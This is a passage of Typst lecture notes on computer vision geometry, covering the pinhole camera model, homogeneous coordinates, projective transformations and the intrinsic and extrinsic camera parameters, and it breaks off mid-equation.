The #emph(text(blue)[optical axis]) is the axis that passes through the pinhole and is orthogonal to the image plane. The #emph(text(blue)[focal length]) $f$ is the distance from the pinhole to the image plane measured on the optical axis. //It determines wheather a point is in focus or not, if it isn't in focus you notice that instead of having a single point you have a circle.
#figure(
image("img/pinhole.png", width: 70%),
caption: [
The pinhole camera model (from Fusiello's book).
],
)
Given a point $bold(tilde(M))$ in our $3$D world, it is projected through the pinhole $bold(C)$ onto the image plane. The intersection between the plane and the ray identifies the point $bold(tilde(m))$ in the plane. Capital bold letters are used for points in the $3$D space and lower case bold letters are used for points in the $2$D image plane./*#footnote[The letter $bold(m)$ is borrowed from physics and stays for "mass".]*/
To characterize the model from a geometric point of view, some references are required: we start with a $3$D reference system $bold(X),bold(Y), bold(Z)$ whose origin is located at the pinhole and a $2$D reference system $bold(u), bold(v)$ for the image plane, centered at the intersection between the image plane and the optical axis. The $bold(Z)$'s direction is towards the $3$D object (so it "points outside the camera"). This direction is just a convention and in some books you can find the opposite situation with $bold(Z)$ that points towards the image plane.
#figure(
image("img/simplified-pinhole-model.png", width: 70%),
caption: [
The pinhole camera model with reference systems from Fusiello's book. The orange dotted line is the optical axis. $cal(Q)$ is the image plane, $cal(F)$ is called the #emph(text(blue)[focal plane]) and it is a plane parallel to $cal(Q)$ that contains the pinhole $bold(C)$.
],
)
In real life, where we use digital cameras, an image is a matrix of discrete elements named _pixels_. Pixels information is obtained from a grid of CMOS sensors that measure the intensity of the light that hits them. The bigger is the grid, the bigger is the resolution of the camera and so of the image. The CMOS grid that we have in the real world has integer coordinates while, the pinhole camera model that exists in the ideal world has real coordinates. The coordinates of a point in a digital image are somehow quantized and can only be multiples of the sizes of the sensors.
When we refer to a digital picture we speak in terms of #emph(text(blue)[pixels]), while when we refer to the pinhole model we speak in terms of #emph(text(blue)[image points]).
== Projective equations
For the sake of simplicity we consider two cases, one that involves the $bold(X)$ and $bold(Z)$ axes, and one that involves the $bold(Y)$ and $bold(Z)$ axes.
#figure(
grid(
columns: (auto, auto),
rows: (auto, auto),
gutter: 1em,
[ #image("img/XZ.png", width: 90%) ],
[ #image("img/YZ.png", width: 90%) ],
),
//caption: []
) <projective-equations>
In both cases there is a ray that is projected from the $3$D point $bold(tilde(M)) = vec(x, y, z)$ onto the image plane at the point $bold(tilde(m)) = vec(u, v)$.
The triangle $overline(bold(C tilde(M))), x, z$ is similar to the triangle $overline(bold(C tilde(m))), u, f$ in the first case and to the triangle $overline(bold(C tilde(m))), v, f$ in the second case.
From this fact it is clear that
$
f/z = (-u)/x = (-v)/y
$
where $u$ and $v$ are multiplied by $-1$ because they are located in the "negative side" of the $bold(u)$ and $bold(v)$ axes respectively, and we want them to be positive quantities.
From the equation above, the equations for the image points $u$ and $v$ can be derived.
$
f/z = (-u)/x => (-f)/z = u/x => u = -f x/z
$
$
f/z = (-v)/y => (-f)/z = v/y => v = -f y/z
$
and so the projection of a $3$D point onto a point on the image plain is given by
$
cases(
u = (-f)/z x,
v = (-f)/z y
)
$
The fact that $u$ and $v$ are negative means that the object projected on the image plane is flipped both horizontaly and vertically.
#figure(
image("img/camera-obscura.png", width: 80%),
caption: [
The image is flipped both horizontaly and vertically.
],
)
The derived equations tell us that the farther the point $bold(tilde(M))$ is, the smaller its projection will be on the image plane because, to find $u$ and $v$ we divide by $z$ which is the distance of $bold(tilde(M))$ from the center of projection $bold(C)$. The division by $z$ accounts for the effect of _foreshortening_ or #emph(text(blue)[scorcio]).
Example: the spires of the Duomo di Milano have all the same height but, if we look at the ones in @duomo-spires, we notice that those which are far away appear smaller. This is the principle of #emph(text(blue)[perspective]): the farther the objects are from the camera, the smaller they appear.
#figure(
image("img/duomo.png", width: 30%),
caption: [
Duomo di Milano's spires.
],
)<duomo-spires>
== Problems due to projection
It is impossible to measure the $3$D world from a _single_ image because the projection of a point from $3$D to $2$D is subject to a loss of information.
Projection means loss of:
- distances
- angles/vanishing points
- sizes
=== Loss of distances
Distances are lost due to projection. For example, if we have two coins of different size that lie on the same plane, we can notice they aren't the same.
#figure(
image("img/coins-same-plane.png", width: 40%),
caption: [
Two coins of different size.
],
)
If you take the coins and place them properly in the $3$D space, their projection on the $2$D space will make them appear as they have the same size.
#figure(
image("img/coins-lost-distance.png", width: 40%),
caption: [
The same coins appear, as they have the same size.
],
)
There are also positions of the two coins whose projection makes the smaller one appear as the biggest.
=== Loss of angles
Example: rail tracks are parallel but, in @binaries, they appear as converging to a point at the infinite.
#figure(
image("img/rail-tracks-convergence.png", width: 70%),
caption: [
Loss of the angles.
],
)<binaries>
Following the equations that we have obtained from the pinhole model, we can try to compute the coordinate in the $bold(u)$ axis of the $2$D points in @binaries (we can see the picture as the image plane whose projected objects are not flipped, so $f$ is not multiplied by $-1$ in this case).
For the two points at the extrema of the yellow line, we have that
$
u_0 = f x_0/z_0 #h(1cm) u_0+delta u_0 = f (x_0 + Delta)/z_0
$
while, for the two points at the extrema of the green line we have that
$
u_1 = f x_1/z_1 #h(1cm) u_1+delta u_1= f (x_1 + Delta)/z_1
$
The rails are parallel and so the distance between them is the same quantity $Delta$. The points on the yellow line are at distance $z_0$ from the center of projection, while the one on the green line, which are far away, are at distance $z_1$ where $z_0 < z_1$.
$
delta u_0 = f (x_0 + Delta)/z_0 - u_0 = f (x_0 + Delta)/z_0 - f x_0/z_0 = f Delta/z_0
$
$
delta u_1 = f (x_1 + Delta)/z_1 - u_1 = f (x_1 + Delta)/z_1 - f x_1/z_1 = f Delta/z_1
$
$z_0 < z_1 => delta u_1 < delta u_0$ which means that the projected rails are not parallel, otherwise we would have that $delta u_0 = delta u_1$.
=== Loss of sizes
As shown by the @loss-of-sizes, the projection is also responsible for the size loss of the objects.
#figure(
grid(
columns: (auto, auto, auto),
rows: (auto, auto, auto),
gutter: 0.2em,
[ #image("img/pisa.png", width: 90%) ],
[ #image("img/people-sizes.png", width: 85%) ],
[ #image("img/pinhole-size-loss.png", width: 100%) ]
),
caption: [Loss of sizes.]
) <loss-of-sizes>
== Modify the simple pinhole model
Since the pinhole model is a mathematical model, it is possible to move the image plane between the center of projection and the world without loss of generality. In this way, the object's projection will not be flipped anymore.
#figure(
grid(
columns: (auto, auto),
rows: (auto, auto),
gutter: 0.1em,
[ #image("img/pinhole-centered.png", width: 90%) ],
[ #image("img/image-plane-centered.png", width: 100%) ]
),
caption: [On the left: the version of the simple pinhole model with the image plane at the left of the COP. On the right: the version of the simple pinhole model with the image plane moved between the COP and the world.]
) <simple-pinhole-model-different-planes>
== Perspective projection of a plane and the projective space
A #emph(text(blue)[perspective projection]) is the mapping of $3$D points $bold(M)$ into $2$D points $bold(m)$ of the plane $cal(Q)$, by intersecting the line passing from $bold(M)$ and $bold(C)$ with $cal(Q)$.
The points $bold(M)$ are located on a ground plane $cal(G)$ that is orthogonal to $cal(Q)$.
#figure(
image("img/ground-plane-projection.png", width: 50%),
caption: [
Perspective projection.
],
)<perspective-projection>
As @perspective-projection suggest, the line $f$, determined by the intersection of the plane $cal(G)$ with the plane parallel to $cal(Q)$ and containing $bold(C)$ does not project onto $cal(Q)$ and, the line $h$, intersection of $cal(Q)$ with the plane parallel to $cal(G)$ and passing through $bold(C)$ is
not the projection of any line on the plane $cal(G)$.
If we look at the perspective projection from the "side", we obtain a 2D representation like the one in @perspective-projection-2D where, the vertical line corresponds to $cal(Q)$, and the horizontal line corresponds to $cal(G)$.
#figure(
image("img/perspective.projection-2D.png", width: 80%),
caption: [
Perspective projection in $2$D.
],
)<perspective-projection-2D>
If $bold(M)$ is moved towards $+ infinity$ ($bold(M) -> + infinity$) it is possible to notice that the point projected onto $cal(Q)$ converges to $h$ ($bold(m) → h$). Instead, if $bold(M) -> f$ then $bold(m) -> + infinity$.
#figure(
image("img/perspective.projection-2D-to-infinity.png", width: 80%),
caption: [
Perspective projection in $2$D with points $bold(M) -> infinity$ and $bold(M) -> f$.
],
)<projection-to-infinity>
So, if we want our model to work correctly, we should add to the Euclidean planes, “ideal” lines lying at the infinite.
These new planes are called #emph(text(blue)[projective planes]). The projective plane for the @projection-to-infinity is
$
PP^2 eq.def RR^2 union {l_infinity} "where" l_infinity "is the line at the infinite"
$
This concept is generalizable for $PP^n$ (e.g.: $PP^3 eq.def RR^3 union {p_infinity} "where" p_infinity "is a plane at the infinite"$).
In the Cartesian plane:
- Given two different points, there exists only one line that contains them both;
- There exists only one line with a given direction and containing a given point $bold(P)$;
- Two different lines have either a common point (incident) *or* the same direction (parallel).
#figure(
image("img/lines-parallel-incident.png", width: 60%),
caption: [
On the left: two parallel lines. On the right: two incident lines..
],
)
Let's consider two incident lines on a point $bold(P)$. If $bold(P)$ is drawn at the infinite the two lines become paralel.
#figure(
grid(
columns: (auto, auto),
rows: (auto, auto),
gutter: 0.5em,
[ #image("img/incident-lines-at-P.png", width: 100%) ],
[ #image("img/parallel-lines-P-at-infinite.png", width: 100%) ]
),
caption: [On the left: Two lines incident on a point $P$. On the right: The two lines becomes parallel when $P$ is drawn at infinite. ]
) <glacier>
In a projective space:
+ Given two points, there exists only one line that contains them both.
+ Two different lines *have* only *one common point*
These two rules identify a line point dualism and so, in projective spaces even parallel lines share a common point (which is at infinite).
To insert projective spaces in our model we need to model them analitically and we do so using homogeneus coordinates.
== Homogeneus coordinates
If we are in the Cartesian plane $RR^2$ (or in the Euclidean space $RR^3$, ...), lines can be described by their standard equation form.
Two lines in $RR^2$ for example, are described by:
$
a x + b y + c &= 0 \
a' x + b' y + c' &= 0
$
/*
These equations can be transformed into their slope-intercept form to explicit the $y$ and obtain the slope as a coefficient of $x$:
$
y &= -a/b x + -c/b \
y &= -a'/b' x + -c'/b'
$
Defining the slopes as $r = -a/b, r' = -a'/b'$ and the intercepts as $q = -c/b, q' = -c'/b'$, the equations become:
$
y &= r x + q \
y &= r' x + q'
$
*/
To see if the two lines intersect, we can put them in a linear system. If the system has one unique solution the lines intersect, if it has infinite solutions the lines overlap, otherwise, if it has no solution at all, the lines are parallel.
The system
$
cases(
a x + b y + c &= 0 \
a' x + b' y + c' &= 0
)
#h(0.5cm)
<==>
#h(0.5cm)
cases(
a x + b y &= -c \
a' x + b' y &= -c'
)
$
can be rewritten as
$
mat(a, b; a',b';) vec(x,y) = vec(-c,-c')
$
Defining $A eq.def mat(a, b; a',b';)$, it corresponds to:
$
A vec(x,y) = vec(-c,-c')
$
#slantedColorbox(
title: [Cramer's theorem],
color: "green",
radius: 2pt,
width: auto
)[
Given a system of linear equations $A bold(x) = bold(b)$ (where $A$ is an $n times n$ matrix), if $A$ is invertible ($det(A) eq.not 0$), then the system has a unique solution and $forall x_i $ with $ i = 1,..., n$
$
x_i = 1/det(A) Delta_i
$
where $Delta_i$ is the determinant of the matrix that has the same columns of $A$ except for the $i"-th"$ one that, is equal to $bold(b)$.
]
If the two lines intersect, the system has a unique solution $=>$ the matrix $A$ is invertible ($det(A) eq.not 0$) $=>$ Cramer can be used to solve the system.
$
x &= 1/det(A) Delta_1 = det(mat(-c,b; -c',b'))/det(mat(a,b; a',b')) = (b c' -b' c)/(a b' -a' b) eq.def u/w \
y &= 1/det(A) Delta_2 = det(mat(a, -c; a', -c'))/det(mat(a,b; a',b')) = (a' c - a c')/(a b' -a' b) eq.def v/w
$
- If $det(A) = w eq.not 0$ then $A$ is invertible and so the system has just one solution which is the point of intersection of the two lines $(x = u slash w, #h(0.1cm) y = v slash w)$, and it belongs to $RR^2$;
- if $det(A) = w = 0$ the matrix is not invertible, and so the system doesn't have a unique solution:
- it could have infinite solutions ($u = v = 0$), which means that the lines overlap;
- it could not have any solution at all in $RR^2$ ($u eq.not 0$ or $v eq.not 0)$, which means that the lines are parallel/* (and linearly dependent)*/. In this case, the intersection point *lies at the infinite* and its coordinates can be expressed in the projective space $PP^2$ with a triple $vec(u, v, w)$ where $w = 0$.
The representation $ bold(m) = vec(u, v,w) $ where $bold(m) in PP^2$ is called #emph(text(blue)[homogeneous coordinate]).
If $gamma = 0$ then $bold(m)$ lies at the infinite and is called an #emph(text(blue)[ideal point]).
Points in cartesian coordinates are represented in bold with a tilde $tilde$ like $bold(tilde(m))$, while points in homogeneous coordinates are just in bold like $bold(m)$.
== Points in homogeneous coordinates and their relation with the Cartesian plane
As consequence of the defintion of homogeneous coordinates, we can represent points into the #emph(text(blue)[projective space]) $PP^2$ as a triplet:
$
vec(u, v, w) != vec(0, 0, 0)
$
The triplet $vec(0, 0, 0)$ corresponds to two lines that are coincident and so, it represents an infinite set of points and not a single point, therefore it doesn't belong to $PP^2$.
It is possible to convert homogeneous coordinates into Cartesian coordinates due to the fact that:
$
x=u/w #h(1cm) y=v/w
$
and so:
$
PP^2 in.rev vec(u, v, w)
attach(limits(#long-symbol(sym.arrow.r.filled,8)), t: w eq.not 0)
vec(u/w, v/w) in RR^2
$
where $w eq.not 0$ because we can find a correspondent point in $RR^2$ only for real points, not the ones that lie at the infinite.
It is possible to do the inverse conversion from Cartesian coordinates to homogeneous
coordinates and, it is even more simple:
$
PP^2 in.rev vec(x, y, 1)
attach(limits(#long-symbol(sym.arrow.l.filled,8)), t: "")
vec(x, y) in RR^2
$
It is interesting to notice that in projective spaces, the multiplication by a scalar constant $lambda eq.not 0$ in $PP^2$ doesn't change the corresponding point in $RR^2$.
All the homogeneous coordinate vectors are defined with respect to a scale factor $lambda eq.not 0$. So $bold(m)$ and $lambda bold(m)$ are the same point in $RR^2$
$forall lambda !=0 :$
$
lambda vec(u, v, w) = vec(lambda u, lambda v, lambda w) in PP^2
attach(limits(#long-symbol(sym.arrow.r.filled,8)), t: "")
vec((lambda u) / (lambda w), (lambda v) / (lambda w)) = vec(u/w, v/w) in RR^2
$
All these correspondences are generalizable to $PP^n$ and $RR^n$.
== Lines in homogeneous coordinates
Similar to points, in $PP^2$ we can represent lines just using a vector of three real numbers. Like in $RR^2$ where a line ($a x + b y + c = 0 $) has three real coefficients, we can represent a line in $PP^2$ with the equation:
$ a u/w + b v/w + c = 0 $
multiplying by $w$ we obtain:
$ a u + b v + c w = 0 $
using vector notation, it becomes:
$
mat(a, b, c) vec(u, v, w) = 0
$
Posing $ bold(italic(l))^T eq.def mat(a,b,c)$ and $ bold(p) eq.def vec(u, v, w)$ the equation can be rewritten as:
$
bold(italic(l))^T bold(p) = 0
$
Recap with a visual scheme:
$
a u/w + b v/w + c &= 0 "(in " PP^2 ")" #h(1cm) attach(limits(#long-symbol(sym.arrow.l.r.double,3)), t: "") #h(1cm) a x + b y + c =& 0 "(in " RR^2 ")" \
arrow.t.b.double \
a u + b v + c w &= 0 \
arrow.t.b.double \
mat(a, b, c) vec(u, v, w) &= 0 \
arrow.t.b.double \
bold(italic(l))^T bold(p)&= 0
$
== Transformations
/*
This kind of transformations are used to convert one convex quadrilateral into another.\
In case of images we use them to change prospective, in particular we will use them to rewrite the projective equation.\
*/
#figure(
image("img/2D-planar-transforms-set.png", width:50%),
caption: [
Transforms on $PP^2$ from Szeliski's book
],
)
=== Projective transformations (projectivities)
Projectivities are _linear functions_ that map points in $PP^n$ to points in $PP^n$. They are defined by an _invertible_ matrix $H$ of order $(n+1) times (n+1)$ called #emph(text(blue)[homography]).
$
f: PP^n &-> PP^n \
bold(m) &|-> H bold(m)
$
- the fact that $H$ is invertible implies that if the points $bold(m)$ taken in input lies on the same plane, then also the points $H bold(m)$ outputted by $f$ lies on the same plane too (collinearity);
- projectivities form a group $f in cal(G)_P$;
- $H$ and $lambda H (lambda in RR, lambda eq.not 0)$ are the same (similarity).
/*Point 3. implies that this kind of transformation in a *//*If $n=2$ then $H$ is a $3 times 3$ matrix that has $8$ _degrees of freedom_, *since we can use $lambda$ as scale factor to maintain one of the parameters fixed (to 1)*.
$
H = mat(
A, bold(b);
bold(h)^T, 1;
)
$
$A$ il called _transformation matrix_, $bold(b)$ is the _translation vector_.*/
=== Affine transformations
An affine transformation is a projectivity that maps real points into real points and, ideal points into ideal points (because of the last row $mat(bold(0)^T, 1)$ of $H$ that, when multiplied by $bold(m)$, makes $1$ the last element of the resulting vector $H bold(m)$ if $1$ is the last element of $bold(m)$, $0$ if $0$ is the last element of $bold(m)$).
$
H = mat(
A_(n times n), bold(b);
bold(0)^T, 1;
)
$
An affine transform preserves the _parallelism_ but doesn't preserve the angles.
In $PP^2$, $H$ is $3 times 3$ and has $6$ degrees of freedom because the last row is fixed to $mat(0,0,1)$.
$
H = mat(
a_(1,1), a_(1,2), b_1;
a_(2,1), a_(2,2), b_2;
0, 0, 1;
)
$
=== Similarity
A similarity is a subclass of affinities that use an orthogonal rotation matrix $R$ with a scale factor $s$ and a traslation vector $bold(t)$. /*preserve the absolute conic $cal(C)$.*/
$
H = mat(
s R_(n times n), bold(t);
bold(0)^T, 1;
)
$
A similarity preserves the angles and, being an affine transform, preserves also the parallelism.
In the Euclidean space $RR^n$, similarity operates as
$
bold(tilde(m)) -> s R_(n times n) bold(tilde(m)) + bold(t)
$
In $RR^3$ for example:
$
H bold(m)
=
mat(s R_(3 times 3), bold(t); bold(0)^T, 1)
vec(x, y, z, 1)
=
mat(s R_(3 times 3) vec(x,y,z) + bold(t); 1)
=> s R_(3 times 3) vec(x, y, z) + bold(t)
= s R_(3 times 3) tilde(m) + bold(t)
$
In $PP^2$, $H$ has $4$ degrees of freedom. //since $R_(2 times 2)$ represent an angle (so a single parameter), $bold(t)_(2 times 1)$ is a vector and finally $s$ which is a single value.
=== Euclidean transformations
If in a similarity $s = 1$, the transform is called _rigid_ transformation or _Euclidian_ transformation.
$
H = mat(
R_(n times n), t;
0^T, 1;
)
$
A Euclidean transformation, preserves the distances, the lengths and, just like similarity, also the angles and the parallelism.
$s$ is fixed, so in $PP^2$, $H$ has $3$ degrees of freedom.
/*
#my_block(rgb(198, 243, 149), rgb(198, 243, 249), rgb(0,138,235), black, [Absolute conic $cal(C)$],
[
On the infinity plane, there is a special geometric locus (set of points) named *absolute conic*, which can be defined in every space $PP^n$ as:
$
cal(C) = { bold(mono(x)) in PP^n bar.v x_1^2+x_2^2+...+x_n^2 and x_(n+1) = 0}
$
It represents the set of _all possible ideal image points_ that could be mapped to a specific set of _ideal points_ in *3D* space through the process of projection.
])
*/
=== Tranformations in $PP^2$, recap:
#table(
columns: (auto, auto, auto, 1fr, auto),
inset: 10pt,
align: horizon,
table.header(
[*Transformation*], [*D.o.f.*], [*Matrix*], [*Distortion*], [*Preserves*]
),
//First row
[Projectivity],
$8$,
$mat(H_(1,1), H_(1,2), H_(1,3); H_(2,1), H_(2,2), H_(2,3); H_(3,1), H_(3,2), H_(3,3))$,
image("img/projectivity.png"),
[Collinearity],
//Second row
[Affinity],
$6$,
$mat(H_(1,1), H_(1,2), H_(1,3); H_(2,1), H_(2,2), H_(2,3); 0, 0, 1)$,
image("img/affinity.png"),
[Parallelism],
//Third row
[Similarity],
$4$,
$mat(s R_(n times n), bold(t); bold(0)^T, 1)$,
image("img/similarity.png"),
[Angles],
//Fourth row
[Euclidean],
$3$,
$mat(R_(n times n), bold(t); bold(0)^T, 1)$,
image("img/euclidean.png"),
[Distances \ and \ lengths],
)
== Camera matrix
If we look at the projective equations in cartesian coordinates that we have derived before:
$
cases(
u = (-f)/z x,
v = (-f)/z y
)
$
we can see that they are _not linear_ because $x$ and $y$ are multiplied by $1 slash z$.
/*The projective equations in cartesian coordinates can be rewritten in vectorial form:
$
vec(u,v) = -f/z vec(x,y) <==> z vec(u,v) = -f vec(x,y)
$
*/
The equations, can be rewritten _linearly_ in matrix form, using homogeneous coordinates:// for the representation of the cartesian points $tilde(m) = vec(u,v)$ and $tilde(M) = vec(x, y,z)$.
/*$
cases(
z u = -f x,
z v = -f y,
z 1 = z
)
#h(2.5cm) // little trick to align the system with the equation underneath
$
$
&arrow.t.b.double \
z vec(u, v, 1) &= vec(-f x, -f y, z) \
&arrow.t.b.double \
z vec(u, v, 1) &=
mat(
-f, 0, 0, 0;
0, -f, 0 ,0;
0, 0, 1, 0;
) vec(x, y ,z , 1)
$*/
$
cases(
z u = -f x,
z v = -f y,
z 1 = z
)
#h(0.5cm) <==> #h(0.5cm)
z vec(u, v, 1) &= vec(-f x, -f y, z) \
&=
mat(
-f, 0, 0, 0;
0, -f, 0 ,0;
0, 0, 1, 0;
) vec(x, y ,z , 1)
$
If we define $bold(m) eq.def vec(u, v, 1), bold(M) eq.def vec(x, y ,z , 1), P eq.def mat(-f, 0, 0, 0; 0, -f, 0 ,0; 0, 0, 1, 0;)$ we can rewrite the equation as:
$
z #h(1mm) bold(m) &=
mat(
-f, 0, 0, 0;
0, -f, 0 ,0;
0, 0, 1, 0;
) bold(M) \
&arrow.t.b.double \
z #h(1mm) bold(m) &= P bold(M)
$
Since homogeneous coordinates are not affected by the rescaling ($forall z eq.not 0: bold(m) = z bold(m)$), $z bold(m)$ and $bold(m)$ represent the same point. So we write
$ bold(m) tilde.eq P bold(M) $
to denote that $bold(m)$ and $P bold(M)$ are equal with _respect to a scale factor_ $z$.
Notice that, even if the rescaling factor $z$ is omitted in homogeneous coordinates, it plays
a crucial role when referring to real measurements. The parameter $z$ can be
related to the distance of the points with respect to the reference system of
the camera, and therefore, it links the size of real objects to the size of their
projection in the image.
$P$ is called #emph(text(blue)[projection matrix]) (or #emph(text(blue)[camera matrix])) and defines the projection
rules mapping $3$D points into image points.
Using $P$ and the two points in homogeneous coordinates we were able to transform a nonlinear operation into a linear one.
The simplest camera matrix $P$ that we can obtain is the one were the focal length $f = -1$.// and the world coordinates have origin at the center of projection $C$.
$ P = mat(1, 0, 0, 0; 0, 1, 0,0; 0, 0, 1, 0;) = mat(I_3, &\| underline(bold(0)) ) $
It is an #emph(text(blue)[ideal camera matrix]) which is never met in general. Just by zooming, $f$ changes. By the way, any camera matrix can be brought into this form.// and generally, this is done when different cameras have to be combined (e.g.: 3D decompression systems). In order to do this, the general pinhole camera model has to be introduced.
/*#figure(
image("img/ideal_camera_matrix.png", width: 30%),
caption: [
Projective plane using the _ideal camera matrix_($f=-1$)
],
)*/
== General pinhole model
In our world, there are a lot of _non idealities_ that affect the ideal camera matrix. When we are using our camera to take a picture of a subject, we change its focal lengths $f$ just by zooming to put the target into focus. /*Moreover, the focal length is affected by the size of the sensors, which, must be taken into account also for the reference system of the image plane.*/
Furthermore, when we are dealing with digital images, their coordinates are in pixel not in meters; we consider them to have their origin $(0,0)$ in the upper left corner, not at the center of the image plane anymore.
#figure(
image("img/img_coordinates.png", width: 40%),
caption: [
Coordinate system of a digital image.
],
)
We move from the simplified pinhole camera model to a more realistic model, called the #emph(text(blue)[general pinhole model]) that takes into account all these non idealities.
=== Intrinsic parameters
Every camera has some #emph(text(blue)[intrinsic parameters]) which are related to its manufacturing process. These parameters remain the same even if the camera changes its orientation because, they are related to its _configuration_, not the position.
The general equation of a camera matrix looks like:
$
P= mat(
-f k_u, -f k_u cot theta, u_0, 0;
0, -(f k_v)/(sin theta), v_0, 0;
0, 0, 1, 0;
)
$
and it takes into account three different non idealities.
The first non ideality, regards the fact that now, the point $(0,0)$ on the image plane isn't anymore at the center of the image plane but, it appears in the upper left corner. At the center now, there is the #emph(text(blue)[principal point]) $(u_0, v_0)$. This adds two "shift" parameters $u_0$ and $v_0$ that define the position in pixel units of the center of the plane.
#figure(
image("img/I_non_ideality.png", width: 50%),
caption: [The image plane with its origin located in the upper left corner and, the principal point $(u_0, v_0)$ at the center. (Notice that in this picture, the image plane has been moved to the right of the COP but, there would be no difference if it were at its left).],
)
The second non ideality, regards the fact that, being the coordinates of the sensor grid expressed in pixel units, they represent integer values so, images coordinates must be quantized and discretized. Coordinates in the grid, can be obtained dividing the image coordinates by the width and height of a pixel.
Pixels' shape could be rectangular instead of square, so we define $p_u$ and $p_v$ as the horizontal and vertical size of a sensor, measured in meters $m$, then, we define $k_u eq.def 1 slash p_u$ and $k_v eq.def 1 slash p_v$, the inverse of the effective pixel size along the direction $bold(u)$ and $ bold(v)$ respectively, measured in $m^(-1)$. Finally, we need also to distinguish between the #emph(text(blue)[focal length]) $f$ which is the physical distance between the image plane and COP, measured in meters, and the #emph(text(blue)[focal]) $f k_u$ (or $f k_v$) used in the camera matrix of the general pinhole model, that is the product of the focal length $f$ and $k_u$ (or $k_v$) and is adimensional.
/*For this reason, two scale parameters $k_u$ and $k_v$, that represent the size of the sensors, are added.*/ /*Furthermore, being the coordinates of the sensor grid expressed in pixel units, the coordinates of the pixels need to be multiplied by the sizes of the sensors. Coordinates from the 3D world, measured in meters, have to be quantized and discretized into pixels on the grid.*/
The third non ideality, regards the fact that, due to
manufacturing errors, the grid of pixel isn't always perfectly squared and so, the camera coordinate system might be skewed. This means that the angle $theta$ between the axes $bold(u)$ and $bold(u)$ could not be equal to $90°$. The difference, by the way, is usually not so much and, we will not consider this fact in the future (which means that for us $theta = pi slash 2$ so that $cot (pi slash 2) = 0$ and $sin (pi slash 2) = 1$).
#figure(
image("img/III_non_ideality.png", width: 40%),
caption: [A skewed pixel grid of sensors],
)
The equation of a pixel in the image plane can be derived in the following way:
$
z vec(u, v, 1)
&=
mat(
-f k_u, -f k_u cot theta, u_0, 0;
0, -(f k_v)/(sin theta), v_0, 0;
0, 0, 1, 0;
)
vec(x, y, z, 1)
= mat(
-f k_u x, -f k_u y cot theta, z u_0, 0;
0, -(f k_v y)/(sin theta), z v_0, 0;
0, 0, z, 0;
)
$
Which in system form is equal to:
$
cases(
z u = -f k_u x - f k_u y cot theta + z u_0,
z v = -(f k_v y)/(sin theta) + z v_0,
z 1 = z
)
$
that, in Cartesian coordinates, assuming $theta = pi slash 2$ is:
$
cases(
u = - f k_u (x)/z + u_0,
v = -f k_v (y)/z + v_0
)
$
#v(0.50cm)
Intrinsic parameters can be represented using the #emph(text(blue)[intrinsic matrix]) $K$:
$
/*"Assuming " theta = pi/2
#h(1.5cm)*/
K = mat(-f k_u, 0, u_0; 0, -f k_v, v_0; 0, 0, 1)
#h(0.50cm)
"(assuming" theta = pi slash 2 ")"
$
and $P$ can be written as:
$
P = mat(-f k_u, 0, u_0, 0; 0, -f k_v, v_0, 0; 0, 0, 1, 0)
= mat(-f k_u, 0, u_0; 0, -f k_v, v_0; 0, 0, 1)
mat(1, 0, 0, 0; 0, 1, 0, 0; 0, 0, 1, 0)
= K mat(I_3, bar.v, bold(0))
$
#v(0.5cm)
The coordinates of a point $bold(m)$ can be normalized into a point $bold(m') = K^(-1) bold(m)$, if we know the intrinsic parameters://, into a pixel $bold(m')$ as:
$
bold(m) &tilde.eq P bold(M) \
bold(m) &tilde.eq K mat(I_3, bar.v, 0) bold(M) \
K^(-1) bold(m) &tilde.eq K^(-1) K mat(I_3, bar.v, 0) bold(M) \
bold(m') eq.def K^(-1) bold(m) &tilde.eq underbrace(mat(I_3, bar.v, 0), "P") bold(M)
$
and it follows that in this case $P = mat(I_3, bar.v, 0)$, the ideal camera matrix. Normalized coordinates allows us to work with image points independently of the camera characteristics. Doing so, the obtained image points are _invariant_ from the principal point $(u_0, v_0)$ and the zoom factor.
/*
Parte di Leonardo riscritta più sopra.
Tenere per chiedergli se va bene come ho riscritto.
== General pinhole model
#figure(
image("img/intrinsic_parameters.png", width: 30%),
caption: [
Real world situation where the camera reference system does not correspond to the word reference system.
],
)
For this reason we provide a more general definition of $P$ that take in account those *non ideality* and correct them to reach the _ideal_ camera matrix using *intrinsic parameters*.
$
P= mat(
-f k_u, -f k_u cot theta, u_0, 0;
0, (-f k_v)/(sin theta), v_0, 0;
0, 0, 1, 0;
)
$
- $(u_0, v_0)$: represent the *principal point*, a shift into the origin and are determined by the _plane size_.
#figure(
image("img/I_non_ideality.png", width: 40%),
caption: [
coordinate referece of the camera without the shift.
],
)
- $theta$: represent the angle that depends on the _sensor shape_ and is used to fix the fact that axis are not orthogonal, typically is $pi/2$ in such a way that $cot (pi/2) = 0$ and $sin (pi/2) = 1$
- $k_u, k_v$: used to esclude real values they depends on the _pixel size_ $k_u = 1/P_u$, this calibration happen putting an object of a known size in front of the camera.
#figure(
image("img/III_non_ideality.png", width: 40%),
caption: [
Pixel grid of the sensor
],
)
In this phase it is important to distinguish between:
- _Focal lenght_(m): distance of the image plane from the center of projectin
- _Focal(Adimensional) = focal lenght \* $k_u$ _
This values can be represented using the _intrinisc matrix_ $K$:
$
"Assuming " theta = pi/2
#h(1.5cm)
bold(K)= mat(-f k_u, 0, u_0; 0, -f k_v, v_0; 0, 0, 1)
$
So finally the new camera matrix can be rewritten as:
$
bold(P) = mat(K,bar.v, bold(0))
$
It is important to notice that this parameters are measured during the calibration phase.*/
=== Extrinsic parameters
Previously, we assumed that the world coordinates ($bold(X), bold(Y), bold(Z)$) were localized at the center of projection $bold(C)$, now instead, the camera reference system and the world reference system are different.
#figure(
image("img/general-pinhole-model-1.png", width: 60%),
caption: [
The general pinhole model.
],
)
It is possible that the camera is placed in a different position with respect to the world coordinates.
We can use a rotation and translation to links the two axes systems. We do so, by using the matrix $G$ that represent a Euclidean transformation.
$
G = mat(
R_(3 times 3), bold(t);
bold(0)^T , 1;
)
$
#figure(
image("img/extrinsic_params.png", width: 50%),
caption: [
The world coordinates are mapped to the camera coordinates through a Euclidean transform.
],
)
We denote with $bold(M_c)$ a point in camera reference coordinates and with $bold(M)$ a point expressed in the world reference coordinates. The world coordinate $bold(M)$, can be mapped into the camera coordinate $bold(M_c)$ using $G$:
$
bold(M)_c = G bold(M)
$
$G$ is called the matrix of the #emph(text(blue)[extrinsic parameters]). It contains the rotation matrix $R$ and the translation vector $bold(t)$, so it has $6$ parameters that encode the exterior orientation of the camera with respect to the world reference system. If the camera moves, only the extrinsic parameters change, not the instrinsic, provided that the acquiring configuration (focus, zooming, ...) doesn't change.
When the camera coordinates coincide with the world coordinates, we have that $R = I_3$ and $bold(t) = bold(0).$
The equation of a pixel $bold(m)$ in homogeneous coordinates is:
$
